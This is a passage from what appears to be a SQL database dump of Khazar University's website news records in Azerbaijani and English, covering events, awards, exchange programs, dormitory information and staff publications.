tədbir\r\nkommunikasiya və auditoriya qarşısında çıxışlar üzrə aparıcı ekspert\r\nCoşqun Kərimov tərəfindən keçirildi. Təqdimat qarşılıqlı diskussiya şəklində\r\nkeçdi, tələbələr tərəfindən maraqla qarşılandı. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Tədbir Siyasi elm və beynəlxalq münasibətlər departamenti tərəfindən\r\ntəşkil olunan 10 həftəlik Məşğulluq və İşgüzar Bacarıqlar Proqramı çərçivəsində\r\nbaş tutdu.</p>'),(4391,2510,'en','Young psychologists from Turkey are guests at Khazar University','It should be noted that “Young psychologists” Public Union, registered by the Ministry of Justice of Azerbaijan Republic...','<p>It should be noted that “Young psychologists” Public Union, registered by the Ministry of Justice of Azerbaijan Republic on October 14, 2015, is an official representative of European Federation of Psychology Students’ Associations. The main aim of the Union is to develop young professionals, who love their motherland, who are loyal to their country, possess secular values and knowledge in order to fill the gap in the development of psychologists in Azerbaijan, and to provide and organize a single activity in the field of mental health of society.</p><p>European Federation of Psychology Students’ Associations (EFPSA) was established in 1987, in Portugal. EFPSA is a common European organisation which covers 33 countries and 11.000 young psychologists. The essential purpose of the organization is to implement scientific, experimental and cultural exchanges among young psychologists by creating a network. Azerbaijan is the only country among the CIS (Commonwealth of Independent States) countries which is represented in this organization.</p><p>One of the activities of EFPSA is to implement an exchange program among young psychologists from the member countries. An exchange program was organized among Azerbaijani and Turkish young psychologists for the first time in October of this year. Khazar University is the academic partner of this program from Azerbaijan.</p><p>According to the program, 18 students majoring in Psychology from different Turkish universities will attend the lectures in Psychology at Khazar University within the framework of the exchange program on October 8 - 17, 2017.</p><p>Istanbul Ishik University is the Academic partner of this exchange program from Turkey. Later, on October 22-28, Azerbaijani students majoring in psychology will visit Turkey.</p>'),(4309,2543,'az','London Universitet Kollecinin doktorantı ilə görüş keçirildi','2017-ci il oktyabrın 19-da Xəzər Universiteti Doktorantura və Magistratura Birliyi Azərbaycan Elm Heyətinin...','<p>2017-ci il oktyabrın 19-da Xəzər Universiteti Doktorantura və Magistratura Birliyi Azərbaycan Elm Assosiasiyasının həmsədr müavini  və London Universitet Kollecinin Nanotexnologiya üzrə doktorantura tələbəsi Mədinə Quliyevanı Xəzər Universitetində qonaq etdi. Mədinə Quliyeva öz tədqiqat sahəsi olan “Tibdə nanotexnologiya” mövzusunda seminar vermiş, dinləyənlərlə müzakirələr aparmışdır.</p><p>Seminarda universitetin tələbələri ilə yanaşı, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, Xəzər Universitetinin rektoru Dr.Hassan Niknafs, Elmi işlər üzrə prorektor İradə Xəlilova gənc tədqiqatçı ilə müzakirələrdə iştirak etdilər.</p>'),(4380,2595,'en','A Lecturer of Khazar University in International Scientific Events','Araz Aslanli, a lecturer of the Department of History and Archaeology of Khazar University delivered a report at the two...','<p>Araz Aslanli, a lecturer of the Department of History and Archaeology of Khazar University delivered a report at the two international scientific events.</p><p>On October 23 and 24, 2017, Araz Aslanli made a report on ‘<em>The Syrian Crisis and the South Caucasus</em>’ at the International Congress ‘<strong><em>Crisis and Change in World Politics</em></strong>’, organized by Uludag University, Bursa, Turkey and on 26-28 October, he delivered a speech on ‘<em>July 15, the coup d\'état initiative and Azerbaijan</em>’, at the International Scientific Symposium ‘<strong><em>July 15 and coup d\'etat</em></strong>’, jointly organized by the Kocaeli Metropolitan Municipality and the Kocaeli University.</p>'),(5955,3404,'az','Follett Destiny - Yenilənmiş versiya','Follett Destiny - Yenilənmiş versiya',''),(4889,2532,'en','The first stage of exchange program for young psychologists is over','The first stage of exchange program for young psychologists is over. The exchange program was realized on joint organizational initiatives...','<p>The first stage of exchange program for young psychologists is over. The exchange program was realized on joint organizational initiatives of “Young Psychologists” Public Union and “Turkish Psychology Students Working Group” and collaboration between Khazar University and Işık University. A link to further information in the media:</p><p><a href=\"http://ucnoqta.az/news/51369\">http://ucnoqta.az/news/51369</a>.<br></p>'),(4310,2544,'az','Məzunlarla görüş keçirildi','2017-ci il oktyabrın 19-da Xəzər Universiteti Məzunlarla İş Mərkəzinin təşkilatçılığı ilə universiteti 1996-1997-ci illərdə bitirmiş məzunlarla...','<p>2017-ci il oktyabrın 19-da Xəzər Universiteti Məzunlarla İş Mərkəzinin təşkilatçılığı ilə universiteti 1996-1997-ci illərdə bitirmiş məzunlarla universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının görüşü keçirildi. Məzunları səmimi salamlayan professor Hamlet İsaxanlı onlarla yenidən görüşməkdən məmnun olduğunu bildirdi, Xəzər Universiteti ilə məzunlar arasında sıx əlaqələrin qurulmasının çox əhəmiyyətli və faydalı nəticələr verə biəcəyini vurğuladı. Məzunlardan “Primü Group LLC” şirkətinin rəhbəri Məmməd Abbasbəyli, GABEG Ltd” Şirkətinin təsisçisi və direktoru Yaşar İsgəndərov, “Barama K.M” Şirkətinin direktoru Yusif Hacıyev, “Caspian Breeze Travel” Turizm şirkətinin meneceri Murad Aslanov, “Bioworks” şirkətinin Xəzər regionu üzrə nümayəndəsi Yusif Məmmədli, Azərbaycan Respublikası Prezidenti Administrasiyasının əməkdaşı Səadət Novruzova, “General Elektronics International” şirkətinin meneceri Kamran Nəsirov, Azərbaycan Respublikası Təhsil İnstitutu Ali Təhsilin İnkişafı şöbəsinin baş mütəxəssisi Aydın Babayev, eləcə də Nigar Abbasbəyli və Svetlana Əsgərova çıxış edərək, öz fəaliyyətləri barədə geniş məlumat verdilər, tələbəlik illərinin bir çox xatirələrini bölüşdülər. Məzunların ilk müəllimlərindən olmuş Firəngiz Nəsirova, Nabat Məmmədova, Roza Arazova, Xəzər Universiteti Multimedia Mərkəzinin direktoru Natella Barkaya da məzunları uzun illərdən sonra yenə də “Xəzər”də birlikdə görməkdən sevinc və qürur duyduqlarını bildirdilər. Xəzər Universiteti Məzunlar Assosiasiyasının vitse-prezidenti Ramal Əhmədov assosiasiyanın fəaliyyəti barədə görüş iştirakçılarına ətraflı məlumat verdi. Səmimiyyət və işgüzarlıq şəraitində keçən görüşdə Xəzər Universiteti ilə məzunlar arasında əlaqələrin gücləndirilməsi və sıx əməkdaşlığın qurulması sahəsində konkret təkliflər irəli sürüldü. Səmimi söhbət üçün məzunlara təşəkkür edən professor Hamlet İsaxanlı universitetlə məzunlar arasında işin sistemli şəkildə qurulmasının vacibliyini vurğuladı və öz konkret təklif və tövsiyələrini verdi.</p>'),(4311,2545,'az','“Xəzər”in departament müdirinə fəxri ad vəsiqəsi və döş nişanı təqdim olundu','Xəbər verildiyi kimi, Azərbaycan Respublikasının Prezidenti İlham Əliyevin 15 avqust 2017-ci il tarixli...','<p>Xəbər verildiyi kimi, Azərbaycan Respublikasının Prezidenti İlham Əliyevin 15 avqust 2017-ci il tarixli sərəncamı ilə fəxri adlara layiq görülmüş mədəniyyət işçiləri arasında Xəzər Universitetinin Musiqi və incəsənət departamentinin müdiri, dosent Zülfiyyə Sadıqova da vardı. Oktyabrın 17-də Muzey mərkəzində keçirilən mərasimdə Azərbaycan Respublikasının mədəniyyət və turizm naziri Əbülfəs Qarayev təltif olunanlara mükafatları təqdim etmişdir. Zülfiyyə Sadıqovaya “Əməkdar müəllim” fəxri adının vəsiqəsi və döş nişanı təqdim olunub.</p>'),(5118,2977,'az','Xəzər Universitetinin müəllimi “Şərəf” ordeni ilə təltif edildi','2018-ci il fevralın 19-da Xəzər Universitetinin müəllimi, xalq artisti professor...','<p>2018-ci il fevralın 19-da Xəzər Universitetinin müəllimi, xalq artisti professor Arif İmran oğlu Babayev Azərbaycan musiqi mədəniyyətinin inkişafında böyük xidmətlərinə görə Azərbaycan Respublikasının Prezidenti İlham Əliyevin Sərəncamı ilə “Şərəf” ordeni ilə təltif edilmişdir.</p>'),(5119,2977,'en','Khazar University Lecturer is awarded Order of “Honour”','On February 19, 2018, People\'s artist Prof. Arif Imran Babayev, a lecturer of Khazar...','<p>On February 19, 2018, People\'s artist Prof. Arif Imran Babayev, a lecturer of Khazar University, was awarded Order of “Honour”, for his contribution to the development of musical culture, by Order of Ilham Aliyev, the President of the Republic of Azerbaijan.</p>'),(4218,2473,'en','Training on Establishment of Joint Degree Programs within the framework of Technical Assistance Mission','On October 10 and 11, 2017, a training session on establishment of joint degree programs within the framework...','<p>On October 10 and 11, 2017, a training session on establishment of joint degree programs within the framework of Technical Assistance Mission will be held at Khazar University.</p><p>Annica Sundback-Lindros, an expert on the joint degree programs and a program manager of National Education Agency of Finland will give information about joint-degree programs, the opportunities they generate, successful examples from the region and Europe, practical details of the development process, and advise how to create such programs.</p><p>Higher education specialists (lecturers, administrators, international staff, school directors, and education counselors) interested in establishing and managing international joint degree programs in Azerbaijan are invited to participate in the training sessions.</p><p>It is important for Khazar University staff to participate in these trainings as well.</p><p>It should be noted that certificates will be issued to the participants at the end of the training.</p><p>Those who wish to participate in the training are requested to fill in the questionnaire attached and send it to Ulkar Bayramova, the employee of the Development Center (E-mail: <a href=\"mailto:ubayramova@khazar.org\">ubayramova@khazar.org</a>) until October 6, 2017.</p><p><strong><em>NOTE - The initial training <a href=\"http://www.khazar.org/files/letters/Programme%20Azerbaijan%20joint%20programmes_08.09.2017_AZ.pdf\">program </a>is added</em></strong></p>'),(4220,2485,'az','İngilis dili və ədəbiyyatı departamentinə yeni müdir təyin olundu','Dr. Bahman Amani Xəzər Universiteti İngilis dili və ədəbiyyatı departamentinə yeni müdir...','<p>Dr. <a href=\"/files/letters/Curriculum_Vitae_Dr_Amani.pdf\">Bahman Amani</a> Xəzər Universiteti İngilis dili və ədəbiyyatı departamentinə yeni müdir təyin olundu.</p><p>Dr. Bahman Amani ingilis dili və ədəbiyyatı üzrə bakalavr dərəcəsini Təbriz Universitetində almışdır. O, təhsilini Pune Universitetində (Hindistan) davam etdirərək, ingilis dili və ədəbiyyatı üzrə magistr və Phd dərəcələrini almışdır.</p><p>Ötən 30 il ərzində Dr. Amani İngilis dili departamentinin müdiri, Malayer Universitetində (İran) Təhsil üzrə prorektor, həmin universitetin rektoru və s. vəzifələrdə çalışmışdır.</p><p>Onun çox sayda elmi məqaləsi (research paper) var və o, dəfələrlə magistr tezislərinin elmi rəhbəri olmuşdur.</p>'),(4244,2503,'az','“Gənc filoloqlar” Hüseyn Cavidin Ev muzeyində oldular','2017-ci il oktyabrın 10-da Xəzər Universiteti Təhsil fakültəsinin müəllimi fil.ü.f.d. Xatirə Yusifova Azərbaycan ədəbiyyatı...','<p>2017-ci il oktyabrın 10-da Xəzər Universiteti Təhsil fakültəsinin müəllimi fil.ü.f.d. Xatirə Yusifova Azərbaycan ədəbiyyatı fənnindən “H.Cavidin həyat və yaradıcılığı” mövzusunda dərsi fakültənin I kurs tələbələri ilə Hüseyn Cavidin Ev muzeyində keçirdi.</p>'),(4428,2623,'en','SPE Azerbaijan Section Annual Report Released','On November 1, 2017, the annual report for 2016-2017 of Society of Petroleum Engineers (SPE International)...','<p>On November 1, 2017, the annual report for 2016-2017 of Society of Petroleum Engineers (SPE International) Azerbaijan Section has been released.</p><p>Covering the issues regarding SPE Azerbaijan Section, in this annual report the “eiLink”, research and development center of Khazar University, the students working closely with SPE Azerbaijan Section and the projects run by them have been elucidated.</p><p>At the end of the report, the remarks of Prof. Hamlet Isakhanli, the Founder of Khazar University,&nbsp;Chairman of the Board of Directors and Trustees, on the collaboration between Khazar University and SPE Azerbaijan Section have been included.</p><p>See <strong><a href=\"/files/letters/SPE_annual_report_2017.pdf\">here&nbsp;</a></strong>the article on the research and development center of Khazar University and the brief speech of Prof. Hamlet Isakhanli.<br></p>'),(4526,2682,'az','Yataqxana','Yataqxana','<p style=\"text-align:justify\">Xəzər Universitetinin yeni tələbə yataqxanası həm yerli, həm də əcnəbi tələbələr üçün&nbsp;mebelli rahat yaşayış şəraiti təklif edir.</p><h3>  <br></h3><h3>Yer:</h3><p>Xəzər Universitetinin \"Neftçilər\" kampusuna (3 dəq piyada məsafə) və \"Neftçilər\"&nbsp;metro stansiyasına (10 dəq piyada məsafə) yaxın ərazidə yerləşən yataqxana&nbsp;bir sıra xidmətlər təklif edir.</p><h3><br></h3><h3>Avadanlıq və xidmətlər:</h3><br><ul><li>Hər otaqda yataq, kiçik siyirtmə, paltar şkafı və stol var</li><li>Ayaqyolu və hamam: ümumidir, otaqlardan bayırda yerləşir</li><li>Mətbəx: mətbəx və saxlama (soyuducu) avadanlıqları ilə təchiz olunmuş ümumi&nbsp;mətbəx/bufet ərazisi</li><li>Paltaryuyan maşın (quruducu ilə), ütü və s. təchiz olunmuş camaşırxana</li><li>Ümumi istirahət otağı: komputerlər, televizor, divan olan bu otaq sizin və qonaqlarınızın&nbsp;rahatlığını təmin edir</li><li>İnternet: bütün yataqxananı əhatə edən WI-FI</li><li>Saxlama otağı</li><li>Sakit ərazidə yerləşən dərs otağı</li></ul><br>  <h3>Yataqxanada təhlükəsizlik:  <br></h3><br><p>Yataqxana tələbə və qonaqların təhlükəsizliyini təmin etmək məqsədilə təhlükəsizlik kameraları ilə təchiz&nbsp;olunmuşdur.&nbsp;</p><p>Bina 24/7 video nəzarətdədir və təhlükəsizlik işçiləri var.</p><h3><br></h3><h3>Qiymətlər:</h3><p>Bir nəfər üçün aylıq ödəniş:</p><p>əcnəbi tələbələr <strong>120-150 ABŞ dolları</strong>, yerli tələbələr <strong>150-200 AZN</strong>  <br></p><p><strong><br></strong></p><p><strong>Gülərüz və yardımsevər yataqxana personalı sizin xidmətinizdədir. </strong> <br></p><p><br></p><h3>Əlaqə:</h3><p><em><strong>Ofis</strong></em>:&nbsp; &nbsp; (012) 422 28 17&nbsp;</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;(012) 422 28 06  </p><div><p><strong><em>Mobil</em></strong>: (055) 223 47 37 </p> <br></div>'),(4527,2682,'en','Dormitory','Dormitory','<h2><strong></strong></h2><p style=\"text-align:justify\">The brand new student dormitory of Khazar University offers simple and cozy furnished accommodation without meals to both local and international students.&nbsp;</p><h3><br></h3><h3>Location:</h3> <p style=\"text-align:justify\">Conveniently located close to both the main Neftchiler Campus of Khazar University (3 min walking distance) and the Neftchiler metro station (10 min walking distance), the dormitory offers a wide range of services.</p><h3><br></h3><h3>Amenities and Services:&nbsp;</h3><ul><li>Rooms: shared (minimum occupancy: 2 people; maximum occupancy: 4 people).</li><li>Each room is equipped with a bed, a bedside drawer, wardrobe, and a table.</li><li>Toilets and showers: shared, outside of the rooms</li><li>Kitchen: a shared kitchen/buffet area with cooking and storage (refrigerator) facilities</li><li>Laundry facilities with washing machines (with dryers), irons, etc.</li><li>Socializing lounge room: an area with computers, TV, sofas welcomes your&nbsp;guests or visitors.</li><li>Internet: Wi-Fi connection covers all dormitory area</li><li>Storage area</li><li>Quietly located study room</li></ul><br><br><h3>Dormitory Safety:&nbsp;<br></h3><p>The dormitory is equipped with security cameras and other technology to ensure safety of our students&nbsp;and guests.</p><p>The building is under constant (24/7) video surveillance and has security personnel.</p><h3><br></h3><h3>Pricing:</h3><p>Monthly rates per person are:</p><p>International students: <strong>$120 – $150</strong>, Local students:&nbsp;<strong>150-200 AZN</strong></p><p><strong><br></strong></p><p><strong>Our friendly and ready-to-help dormitory team/staff is at your service.&nbsp;</strong><br></p><p><br></p><h3>Contact:</h3><p><em><strong>Office</strong></em>:&nbsp; &nbsp;(012) 422 28 17&nbsp;</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;(012) 422 28 06</p><div><p><strong><em>Mobile</em></strong>: (055) 223 47 37</p><br></div>'),(4208,2474,'az','Humanitar və sosial elmlər fakültəsi əməkdaşının növbəti elmi məqaləsi çap edildi','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini Mələk Kərimovanın (doktorant) “L.N. Tolstoy...','<p>Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini&nbsp;Mələk Kərimovanın (doktorant) “L.N. Tolstoy: İncəsənət haqqında” adlı elmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Azərbaycan Milli Elmlər Akademiyası M.Füzuli adına Əlyazmalar İnstitutunun “Filologiya məsələləri” adlı jurnalının 12-ci sayında çap edilmişdir. Məqalədə rus yazıçısı L.N.Tolstoyun incəsənətlə əlaqədar fikirlərinin təhlilinə yer verilmişdir. Tolstoy incəsənətin sosial hadisə olaraq əhəmiyyəti üzərində durmaqla yanaşı, incəsənətin təkcə həzz mahiyyətində olmamasının önəmini qeyd etmişdir.&nbsp;</p><p>Məqaləni tam şəkildə <a href=\"/files/letters/M.Karimova-meqale.PDF\">PDF </a>formatda burada oxumaq olar.</p>'),(4210,2475,'az','Xəzər Universiteti BMT-nin Səhralaşmaya Qarşı Mübarizə Konvensiyasında akkreditasiya olundu','2017-ci ilin sentyabrında Xəzər Universiteti BMT-nin Səhralaşmaya Qarşı Mübarizə Konvensiyasında...','<p>2017-ci ilin sentyabrında Xəzər Universiteti BMT-nin Səhralaşmaya Qarşı Mübarizə Konvensiyasında akkreditasiya olunmuşdur.</p><p>Bu konvensiyanın əsas məqsədi insan faəliyyətinin və İqlim Dəyişmələrinin təsiri ilə Yer kürəsində gedən səhralaşmanın və bitki örtüyünün məhv olmasının qarşısını almaqdır. Konvensiya bunu dövlətlərin öz üzərində götürdüyü məcburi öhdəliklər vasitəsilə edir. Qeyd edək ki, Azərbaycan da bu konvensiyaya qoşulmuşdur. Bu, o deməkdir ki, Azərbaycan bir dövlət olaraq beynəlxalq və milli təşəbbüslər vasitəsilə ölkə ərazisində səhralaşmaya qarşı mübarizə aparır.</p><p>Xəzər Universitetinin bu konvensiyada akkreditasiya olunması təsadüfi deyil. Xəzər Universitetində 2007-ci ildə təsis olunmuş Ətraf Mühitin Tədqiqi Mərkəzi öz elmi tədqiqatlarında səhralaşmanın kökünün kəsilməsi məsələsini də əsas istiqamətlərdən biri kimi qoymuşdur. Akkreditasiya zamanı çoxsaylı sənədlər tələb olunmuş, eyni zamanda, mərkəzin elmi fəaliyyəti dərindən təhlil edilmişdir. Bu ilin sentyabrında Çinin Ordos şəhərində keçirilən COP13 konfransında (Conference of Parties) Xəzər Universitetinin akkreditasiya olunması təsdiq edilmişdir. Maraqlı olan odur ki, Azərbaycandan yalnız İDEA (sədr Leyla Əliyeva) təşkilatı akkreditasiya oluna bilmişdir. Keçmiş Sovet respublikalarından yalnız Gürcüstandan 4, Azərbaycandan isə 2 təşkilat akkreditasiya olunmuşdur. Digər respublikalardan isə heç bir təşkilat akkreditasiya olunmamışdır.</p><p>Xəzər Universiteti müşahidəçi təşkilat olaraq, BMT konvensiyasının bütün tədbirlərinə qatılacaq. Eyni zamanda, elmi fəaliyyətində BMT strükturları ilə sıx əlaqəli şəkildə səhralaşmanı azaldan bütün mövzuları qoyacaq. Eyni zamanda, bu, Xəzər Universitetinin bu sahədəki beynəlxalq əlaqələrini daha da artırmağa imkan yaradacaq.</p>'),(4209,2449,'az','Tələbələr üçün sərgi-yarmarka keçirildi','2017-ci il oktyabrın 4-ü və 5-də Xəzər Universitetində Nazirlər Kabineti yanında Tərcümə...','<p>2017-ci il oktyabrın 4-ü və 5-də Xəzər Universitetində Nazirlər Kabineti yanında Tərcümə Mərkəzinin təşkilatçılığı ilə tələbələr üçün öz kitab nəşrlərinin və “Xəzər” dünya ədəbiyyatı jurnalının sərgi-yarmarkası keçirildi.</p><p>Qeyd edək ki, sərgi-yarmarka gənclərin dünyagörüşünün formalaşdırılması, ədəbiyyata, mütaliəyə marağının artırılması məqsədilə təşkil edilmişdir.</p>'),(4212,2476,'en','The Head of the Department of Khazar University gave a concert in Paris','On July 13, an event was held at the Azerbaijan Cultural Centre on the occasion of the national...','<p>On July 13, an event was held at the Azerbaijan Cultural Centre on the occasion of the national holiday of France - the Bastille Day, organized by the Embassy of Azerbaijan in France, the Azerbaijan Cultural Centre in Paris and the Association of Friends of Azerbaijan. The representatives of the Embassy of Azerbaijan in France and UNESCO, senators and representatives of the city community took part in the event. Nigar Huseynova, the advisor to the Embassy of Azerbaijan in France delivered a speech at the event and spoke about the high level of Azerbaijani-French relations.</p><p>Zulfiyya Sadigova, the pianist, Honoured Teacher, Head of the Department of Music and Fine Arts, played the piano in the artistic part of the event.</p>'),(3711,2168,'en','Erasmus + Programme: 5-months Research Mobility for PhD Students at Middlesex University (2017-2018 academic year)','Two exchange mobilities are available at Middlesex University within the Erasmus...','<p>Two exchange mobilities are available at Middlesex\r\nUniversity within the Erasmus + Programme for 2 doctoral students of Khazar University for a\r\n5 months research (non-credit) visit each.</p>\r\n<p><strong>Applicant needs to:</strong></p>\r\n<p>- &nbsp;&nbsp;Be a PhD Student of Khazar University in good academic\r\nstanding </p>\r\n<p>- &nbsp;&nbsp;Meet the English language requirements of the\r\nhost university. Information about language requirements is available at <a href=\"http://www.mdx.ac.uk/__data/assets/pdf_file/0030/188229/Middlesex-University-English-Language-2017-.pdf?bustCache=29157003/\">http://www.mdx.ac.uk/__data/assets/pdf_file/0030/188229/Middlesex-University-English-Language-2017-.pdf?bustCache=29157003/</a>&nbsp;</p>\r\n<p><strong>To apply submit:</strong></p>\r\n<p>- &nbsp;&nbsp;<a href=\"/files/pdf/events/Erasmus%20Plus%20PhD%20Application.docx\">Application Form</a></p>\r\n<p>- &nbsp;&nbsp;Resume/CV</p>\r\n<p><strong>Deadline to apply: &nbsp;May 26, 2017&nbsp;</strong></p>'),(3715,2157,'en','Poland\'s Ambassador at Khazar University                ','On 10 May, 2017, Marek Calka, the Ambassador Extraordinary and Plenipotentiary of the Poland Republic to Azerbaijan and Anna Witak, the 3rd Secretary of the Embassy Anna...','<p>On 10\r\nMay, 2017, Marek Calka, the Ambassador Extraordinary and Plenipotentiary of the\r\nPoland Republic to Azerbaijan and Anna Witak, the 3rd\r\nSecretary&nbsp;of&nbsp;the Embassy Anna Witak visited Khazar University. Hassan\r\nNiknafs, Rector of the University, accepted the Polish ambassador and the 3rd\r\nSecretary, and gave detailed information to the guests about scientific\r\nactivities of the university. Later, the polish diplomats together with\r\nstudents of the Department of History and Archeology listened to the lecture\r\ndedicated to the history of Poles who lived and worked in Azerbaijan hundred\r\nyears ago. The Polish ambassador and the instructor of the department Nesiman\r\nYagublu made speeches and talked about the glorious history of Poles who lived\r\nand worked in Azerbaijan.</p>\r\n<p>&nbsp; &nbsp;&nbsp;Later Prof. Hamlet Isakhanli, the founder of\r\nKhazar University, the Chairman of its Board of Directors and Trustees met with\r\nthe polish diplomats. He gave them information about the establishment history of\r\nthe university and its activities so far. Ambassador Marek Calka emphasized\r\nthat relationships between Poland and Azerbaijan are developing rapidly and he\r\noffered to hold a conference dedicated to the 100th anniversary of the\r\nestablishment of two countries in future together in cooperation with Khazar\r\nUniversity.</p>\r\n<p>The Ambassador\r\nexpressed his gratitude to the university administration for pleasant\r\nacceptance. The 3rd Secretary&nbsp;of&nbsp;the Embassy Anna Witak and Director\r\nof Media and PR Office Mr. Alovsat Amirbayli participated at the meetings.</p>'),(3716,2160,'en','Khazar University Staff Members at Republican Scientific-Practical Conference','On May 11-12, 2017,instructors of English Language and Literature Department Irina Orujova, Elmira Aliyeva, Zamira Gurbanova (PhD student), Gulnaz Novruzzadeh...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On May 11-12, 2017,instructors of English Language and Literature\r\nDepartment Irina Orujova, Elmira Aliyeva, Zamira Gurbanova (PhD student),\r\nGulnaz Novruzzadeh (PhD student), Milana Abbasova PhD student and&nbsp; Minor Programs Coordinator of&nbsp; the Department and Valida Kerimov, PhD\r\nstudent and Dean\'s assistant of School of Humanities and Social Sciences,\r\nparticipated at the Republican Scientific-Practical Conference held with\r\ncoordination of the Ministry of Education of Azerbaijan Republic and Azerbaijan\r\nUniversity of Languages. The conference entitled&nbsp; \"Actual problems of teaching foreign\r\nlanguages\" was dedicated to the 80th anniversary of the establishment of\r\nAUL.&nbsp; Theses of the above mentoned\r\ninstructors entitled “Обучение стилистическому приему сравнение на уроках\r\nхудожественного перевода (на материале рассказов Э.Хемингуэя)”( Irina Orujova),\r\n“Дискурс и коммуникативная компетенция” (Elmira Aliyeva), “Azərbaycan və\r\ningilis dillərində inkarlıq kateqoriyası” ( &nbsp;Gulnaz Novruzzadeh), “Sosial şəbəkələrin tələbələrin\r\ningiliscəsinə təsiri” ( Milana Abbasova), “Analyzing the features of Publicist\r\nstyle. Political metaphor in the media” ( Valida Kerimova) were delivered\r\nduring the conference. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">The conference covered topics such as challenges encountered in\r\nlearining, teaching foreign languages, the role of &nbsp;ICT in the study of English language, the\r\nconcept of meaning in language learning and so on. Afgan Abdullayev, the acting\r\nrector of AUL and Fakhraddin Veysalli, professor of the department of\r\nLinguistics, made speeches as well. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">At the end of the conferenc, the participants were presented\r\ncertificates and a book covering the delivered speeches.</p>'),(3717,2153,'en','Vurgun Eyyub Draws “Literary Portrait of Irade Musayeva”','On May 10,2017, an article entitled ‘Literary Portrait of Irade Musayeva’ of Vurgun Eyyub, Associate Professor, Head of the Department of Azerbaijani Language and Literature...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On\r\nMay 10,2017, an article entitled ‘Literary Portrait of Irade Musayeva’ of Vurgun Eyyub, Associate Professor, Head of the\r\nDepartment of Azerbaijani Language and Literature at Khazar University, about literary critic\r\nIrade Musayeva was\r\npublished on the Kulis.az website. A portrait of I.Musayeva\r\nas a literary critic was represented in the article based on a book of collected\r\narticles of I.Musayeva ‘ A View from the 21th century: literary criticism and artistic\r\nexpression \" ( \"Science and education\" publishing house, Baku,\r\n2017)</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The article is available at the following\r\nlink:<a href=\"http://kulis.az/news/17959\">http://kulis.az/news/17959</a>.</p>'),(3718,2152,'en','Khazar University is One of the EFPSA Congress Sponsors ','On April 23- 30, 2017,  Khazar University became one of the two Universities which sponsored the 31st EFPSA Congress organised in Azerbaijan. The other sponsors of the...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">&nbsp;On April 23- 30, 2017,&nbsp;\r\nKhazar University became one of the two Universities which sponsored the\r\n31st EFPSA Congress organised in Azerbaijan. The other sponsors of the Congress\r\nare large institutions such as Turkish Airlines, ASAN Service, the Ministry of\r\nCulture and Tourism, Azerbaijan Youth Foundation.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">EFPSA-is a pan-European\r\norganization that brings together students and young specialists majoring in\r\npsychology in Europe. More than 300 young psychologists and professor-teacher\r\nstaff from 33 countries participate in the annual EFPSA Congress which is the\r\nbiggest event of the Federation. The main theme of the 31st EFPSA\r\nCongress &nbsp;organized in Gakh was “Modern\r\nhumanity”. Topics such as psychological atmosphere caused by war and terrors,\r\npsychological challenges resulted from cultural differences, human psychology\r\nin technological development and so on were covered in the congress. Jamie\r\nHacker Hughes, Vice President of the&nbsp;British Psychological Society;\r\nRobertas Povilaitis, Secretary General and Vice President of EFPSA,\r\nRauf Garagozov, Researcher of the Center for Strategic Studies\r\nunder the President of the Republic of Azerbaijan; Art Franken, PhD in\r\nPsychology at the University of Utrecht in the Netherlands; Veronica Nurkova,\r\nprofessor at Moscow State University; Ceren Acarturk, professor at &nbsp;Istanbul City University and others delivered\r\nlectures on the above mentioned topics. Students majoring in Psychology at\r\nKhazar University also participated &nbsp;in\r\nthe Congress.</p>'),(4161,2429,'en','An article by Khazar University employee was published','A research paper by Rasoul Moradi, an employee of the School of Engineering and Applied Sciences, Khazar University was published in the journal “Chemical Engineering”...','<p>A research paper by Rasoul Moradi, an employee of the\r\nSchool of Engineering and Applied Sciences, Khazar University was published in\r\nthe journal <em>“Chemical Engineering”.</em></p>\r\n<p>The article can be read through this link:</p>\r\n<p><a href=\"http://www.sciencedirect.com/science/article/pii/S0009250917305808\">http://www.sciencedirect.com/science/article/pii/S0009250917305808</a>.</p>'),(4150,2430,'az','Xəzər Universitetinin komandası Dünya Robot Olimpiadasının seçim yarışında iştirak edəcək','Azərbaycanda ilk dəfə keçiriləcək Dünya Robot Olimpiadasının seçim yarışına qatılanlar arasında Xəzər Universitetinin komandası da var...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Azərbaycanda ilk dəfə keçiriləcək Dünya\r\nRobot Olimpiadasının seçim yarışına qatılanlar arasında Xəzər Universitetinin\r\nkomandası da var.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Qeyd\r\nedək ki, oktyabrın 7-si və 8-də Gənclər və İdman Nazirliyi “Gənclərin Təhsil, Təlim,\r\nPeşə və İnkişaf Mərkəzi” İctimai Birliyi və AREA (Azərbaycan Robototexnika və\r\nMühəndislik Akademiyası) ilə birlikdə Bakı Olimpiya İdman Kompleksində ilk dəfə\r\nolaraq Dünya Robot Olimpiadası üzrə Azərbaycan seçim yarışı keçirəcək.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Daha geniş 